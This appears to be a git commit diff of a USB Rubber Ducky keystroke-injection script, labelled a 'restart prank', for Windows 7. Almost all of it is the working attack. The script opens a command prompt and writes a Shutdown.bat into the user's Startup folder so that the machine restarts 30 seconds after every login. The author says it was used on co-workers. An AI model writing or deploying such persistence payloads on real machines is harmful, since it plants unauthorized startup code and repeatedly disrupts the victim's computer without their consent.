Updated Payload restart prank (rdoc)
This commit is contained in:
parent
2f28403b53
commit
e72e9326bf
|
@ -3,29 +3,29 @@ Duckencoder: 1.0
|
||||||
Target: Windows 7
|
Target: Windows 7
|
||||||
Description: adds a shutdown.bat file to the users Startup folder that runs the the Shutdown command and restarts their computer.
|
Description: adds a shutdown.bat file to the users Startup folder that runs the the Shutdown command and restarts their computer.
|
||||||
|
|
||||||
REM /////////////////////////////////////////////////////////////////////////////////////////////////////////
|
REM /////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
REM /// I don't have a ducky (yet) but this is a trick I used to pull on co-workers. ///
|
REM /// I don't have a ducky (yet) but this is a trick I used to pull on co-workers. ///
|
||||||
REM /// Because I don't have a ducky I'm guessing at the delays based on other scripts. ///
|
REM /// Because I don't have a ducky I'm guessing at the delays based on other scripts. ///
|
||||||
REM ////////////////////////////////////////////////////////////////////////////////////////////////////////
|
REM ////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
REM Open the command line. You don't need admin because you are only adding to the Users Startup Directory
|
REM Open the command line. You don't need admin because you are only adding to the Users Startup Directory
|
||||||
ESCAPE
|
ESCAPE
|
||||||
CONTROL ESCAPE
|
CONTROL ESCAPE
|
||||||
DELAY 400
|
DELAY 400
|
||||||
STRING cmd
|
STRING cmd
|
||||||
ENTER
|
ENTER
|
||||||
DELAY 100
|
DELAY 100
|
||||||
REM start making Shutdown.bat
|
REM start making Shutdown.bat
|
||||||
STRING copy con "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Shutdown.bat"
|
STRING copy con "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Shutdown.bat"
|
||||||
STRING @echo off
|
STRING @echo off
|
||||||
ENTER
|
ENTER
|
||||||
STRING shutdown /r /t 30
|
STRING shutdown /r /t 30
|
||||||
REM The shutdown command has many good options '/t' adds a Delay, and '/r' restarts
|
REM The shutdown command has many good options '/t' adds a Delay, and '/r' restarts
|
||||||
REM '/s' will shut the computer down and '/l' (L) is to just logoff the user more options are available by running 'shutdown /?'
|
REM '/s' will shut the computer down and '/l' (L) is to just logoff the user more options are available by running 'shutdown /?'
|
||||||
ENTER
|
ENTER
|
||||||
CTRL z
|
CTRL z
|
||||||
STRING exit
|
STRING exit
|
||||||
ENTER
|
ENTER
|
||||||
REM /////////////////////////////////////////////////////////////////////////////////////////////////////////
|
REM /////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||||
REM /// I think I did everything right in this, but i don't have a Ducky to test it with. Let me know ///
|
REM /// I think I did everything right in this, but i don't have a Ducky to test it with. Let me know ///
|
||||||
REM /// what you think or if I made a mistake. ///
|
REM /// what you think or if I made a mistake. ///
|
||||||
REM /////////////////////////////////////////////////////////////////////////////////////////////////////////
|
REM /////////////////////////////////////////////////////////////////////////////////////////////////////////
|
Loading…
Reference in New Issue